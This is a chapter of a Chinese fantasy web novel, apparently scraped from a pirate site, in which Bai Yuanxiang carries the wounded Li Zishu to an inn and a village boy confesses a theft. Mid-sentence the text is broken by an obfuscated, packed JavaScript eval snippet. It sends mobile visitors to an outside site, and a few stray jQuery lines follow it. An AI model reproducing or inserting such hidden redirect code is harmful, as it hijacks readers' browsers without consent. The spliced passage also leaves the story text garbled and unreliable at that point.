“那怎么办?”黎子疏瞬间有那么一丝绝望,但神情却看不出什么,只是低声呢喃:“元婴以上的修者……我爹都还差点……”
白元香放轻声音道:“我知道有个人可以。”
黎子疏一听有戏,追问道:“谁?你师父纪道长?”
白元香沉吟道:“白氏宗主。”
黎子疏微微瞪大眼睛,神色一愣,随即反应过来,迟疑道:“你们家宗主?那不就是……你姑姑?”
白元香轻轻颔首,道:“她修为高,剥离异气这种术法,想必可以。”
黎子疏像是想到了什么,脸色微妙地变了变,试探着问:“那她、她会救我吗?”
他从前是听过一些关于归山白氏的传闻——说白氏现任宗主为人冷肃,不近人情,行事果决凌厉,归山上下无人敢在她面前造次。
一想到这,他倒是有些明白了为何白元香不想耽搁太长时日。
白元香淡声道:“不会见死不救。等这里事完,回到归山,我会与她说明情况。”
黎子疏又问:“可我一个外人,能进去吗?万一,白宗主把我赶了出去怎么办?”
白元香道:“我带你去。”
黎子疏笑了,像是被她逗乐的,笑容扯动内腑,疼得嘶了声,但比起好奇心,便顾不上疼痛,续道:“你姑姑,她听你的?”
白元香:“不确定。”
黎子疏垂眸颔首,道:“不管怎样,先谢了。不过现在,我们还是得先回到客栈。”
白元香打量了他一下,他说话时有气无力,方才渊狯那一击当真后患无穷,他里外都受到了震荡。
“你还能走吗?”她问。
黎子疏试着动了动腿,手臂撑着地,想站起来,结果噗通一声又跌在了地上,微喘着气,目色带着绝望,道:“有点难啊。”
白元香见状,不知怎么忽然想到了之前她在井边晕倒,是黎子疏抱她回去的。她眼睫轻颤,心里有些犹豫,目光微微错开,最终还是开了口:“要不……我背你回去。”
黎子疏闻言,睁大眼睛看向白元香,受宠若惊般地眨了眨眼,像是没听懂一样,可没几息,他的脸瞬间涨得微红。
白元香被他看得虽不自在,但还是平静地补充道:“你受伤了。离客栈有一定距离,总不能让你爬回去。”
黎子疏慌忙道:“那也不行!姑娘背男子,这像什么话?”
被一个小姑娘背着,这事要是传出去,别说是脸面了,他整个人都要没了。
白元香:“……那你爬回去?”
黎子疏一噎,那样恐怕更丢人,难道要麻烦她去多请几个人把他抬走?
他装模做样看了一眼她纤细的肩背,道:“你会把我摔着的,背不动我。我、我又高又重的,况且,男女授受不亲。”
“……你重不了多少。”白元香道,“之前我晕倒,是你送我回去的,就当谢你。”
黎子疏:“那不一样。”
“怎么不一样?”
“你是姑娘。”
“你是伤者。”
黎子疏莫名笑了一声,引以为傲的巧说本领在她面前竟一点上风都不占。
白元香没等他说话,把岁寒剑隐匿起来,然后背对着他站着,蹲下身,道:“上来吧。附近没什么人。”
黎子疏看着眼前少女的背影,愣了一瞬,她比他矮了近一个头,背薄而窄,腰肢纤秀,怎么看都不像能背起他的模样。他脸色不禁又红润了几分,耳朵更甚,低声道:“你先试试吧。”
于是,他慢慢地伸出手臂搭在她的肩上。白元香感觉到重量压身,身子沉了一下,但随即拖住他的膝弯,倒是比想象中要轻些,没一会儿便稳住了身形。
她迈着步子朝前走,绕过井边那个坑,渊狯的尸体已经消散得若有若无。
黎子疏一上来就闻到了一股淡淡的清香,像梅花香。他怕呼吸太重,便微微屏息,手也不知道放在哪,只能虚虚搭在她肩头,哪敢碰实。
他耳根红透了,闷声道:“要不,你还是放我下来吧。”
白元香:“一会儿就到了。”
——好吧。
白元香走得不疾不徐,每一步都很踏实,黎子疏束发垂落,扫到她的脖颈,有些痒。
*
回到客栈后,大约申时,她将他放在了门口。许平是个有眼力见的,见状出来,想问什么,但白元香先让他帮忙一起把他搀扶进去再说。
二人直接把黎子疏送到了他的房间内。
黎子疏被许平半拖半拉地弄到榻上,撑着疼痛,拧着眉头看向他。许平此刻没带着帷帽,那张苍老狰狞的脸出现在他面前,心里不禁一颤。
许平看向白元香,好奇道:“渊狯被你杀死了?”
白元香轻一点头。
黎子疏明明一副虚弱样,还撑着脸,扬了扬眉:“怎么,出乎你的意料了?”
许平道:“那倒没有。不过,你又是怎么了,伤成这难堪样?”
黎子疏道:“不小心受到渊狯的攻击,它的大荒之气侵染了我。”
许平一愣,随即哈哈笑着,道:“那你岂不是要跟我一样?这么好的脸蛋,毁了还真是可惜。”
黎子疏懒得搭理,索性偏过头。
白元香却直言道:“他的情况跟你不一样。你的直接接触,而且浸染了全身,他的是通过渊狯而来,只存在于经脉中。”
许平神色微妙,问:“那他有救吗?”
白元香点点头。
许平一喜:“他有救。那我是不是也有救?”
白元香道:“他的可以通过引气,顺着经脉将大荒之气引出,可你的不行。”
许平黯然失色,不再多言,心里不知在想着什么。
黎子疏好言相劝道:“你还是乖乖地回盛云仙门吧,说不定门中有办法救你。”
话音刚落,门口就被轻轻推开。
只见孙小虎小心翼翼地探出半个脑袋,手里端着个托盘,放着一碗汤,扫了一眼屋内,最后看向白元香,低声道:“老板娘让我来……送东西。”
白元香:“进来吧。”
孙小虎迈着小步走进,白元香接过他递来的汤,想着应是老板娘见状给黎子疏准备的,便放在了床头前。
黎子疏也明白了:“先放着吧,我待会儿再喝。”
片刻,孙小虎还没有离开,双手微攥,有些局促地定在原地,黎子疏有些不解,问:“还有事?”
白元香也看向孙小虎。
孙小虎瞧了眼他们的眼神,语气吞吐:“那个我在老板娘那里听说了,把我扔下井的,是、是村长……我还听说,你们要把这件事公之于众……”
白元香颔首,他的语气平静陈述,听不出到底想表达什么,也不知他是不是对这件事有意见,便轻声问:“你想说什么?”
孙小虎低着头,小声道:“能不能不让我奶奶知道,她一直以来和村长关系还不错,她年纪大了,知道了这事肯定会找村长闹事……”
他倒是个孝子,白元香心想。可是,这都什么时候了,明日村民集聚,将此事一公之于众,孙老太想不知道都难。她没有应下,却突然想到一事,问:“那你呢?”
孙小虎一愣:“什么?”
“村长将你投下井,你有什么想法?”白元香问。
孙小虎被问得呆住在原地,面露窘色
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17915594|210279||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,极其不自然地眨了眨眼,道:“我不知道。”
白元香没有说什么。
黎子疏靠在床头,忽地问他:“村长儿子说,你与他从前是好朋友,但是后来因为你偷了他的玉佩,然后就闹掰了,这是真的吗?”
孙小虎微红着眼,最终点了点头,道:“我……的确偷了赵小石的玉佩。当时你们问我谁会害我的时候,我却只说了偷粮食那桩事,这事没说,是因为我真的不好意思说出口。但是我保证!我只偷过这两样东西,没有做过其他坏事。我对、对不起……”
黎子疏轻叹一声,冷不伶仃来了句:“你倒是个明白人。可你想要道歉,也不该是对着我们说。”
孙小虎脸色一红,只觉他说的有理,现在对他们这些无关之人说这些并没什么用,只好轻轻点头。
白元香道:“好了。我会送你回家。”
孙小虎像受惊了般,不由自主地嗯了声,转而看向白元香,犹豫几息,才小心翼翼地问:“那个、这位姐姐,你……叫什么名字?”
许平站在一旁角落里,肩膀微微侧了一下,像是在看戏。
黎子疏听到这话,眼皮散漫地一抬。
白元香应地平静:“白元香。”
孙小虎一愣一愣的,又试探着问:“后面,是哪两个字啊?”
黎子疏眉头稍动,心中也好奇她会怎么答。
白元香缓声道:“一元复始的元,梅花香的香。”
孙小虎哦了声,道:“白元香……”说完感觉直念大名有些不妥,又改口道:“白姐姐,多谢你救我。”言毕他就立刻转身离开,顺手把门带上。
许平抱着胳膊,慢悠悠地道:“救命之恩,实难相忘啊,我估计这孩子以后是要记挂着你了。”
黎子疏懒洋洋地靠在床头,似是对这个话题不感兴趣。
许平问他:“如今事情也结束了,明天我应该就能启程回盛云了吧?”
可说完看到了瘫在榻上的黎子疏,拧着眉心,顿了顿,道:“你这个样子,还能走吗?”
黎子疏故作冷脸,声音懒懒的:“怎么不能回去?又不是断腿,放心,明日一早估计就好了。”
许平半信半疑地看着他。
白元香在一旁冷硬硬地打断道:“还不能。就算能站起来,可存留在你经脉中的大荒之气若是一路颠簸,可能会重新散开,到时候就引不出来了。”
黎子疏听了一怔,随即更慌乱,欲哭无泪:“那——那该怎么办?我还要去归山呢,总不能一路上都要你背着我吧?”
白元香心中其实已有法子了,当然不是背他,只是这时说出来,估计黎子疏的反应会更大,道:“你放心,我有办法。”
黎子疏好奇:“什么办法?”
白元香道:“明日你就知道了。”
黎子疏拧了拧眉头——怎么感觉不太对劲呢?
旁边的许平蓦然惊醒般,道:“你要去归山?”
黎子疏被他一吓,瞪着他,道:“对啊,白宗主可以将大荒之气引出,我就只能去求求她了。”
许平呵声一笑,道:“人家会救你吗?”
“那也得去看看才知道。”
许平啧啧叹道:“估计应该不会见死不救,白家嘛,门风清正。但是,白宗主应该不会给你什么好脸色。”
黎子疏无所谓道:“我都去求人家了,还要什么脸色,没把我赶出去就谢天谢地了。至于你,我会先安排好,盛云你自己一个人先回去吧。”
白元香没参与他们的对话,静静立于一旁。
许平没声了,没多久就摆摆手离开了。
白元香道:“我先离开,你好好休息。”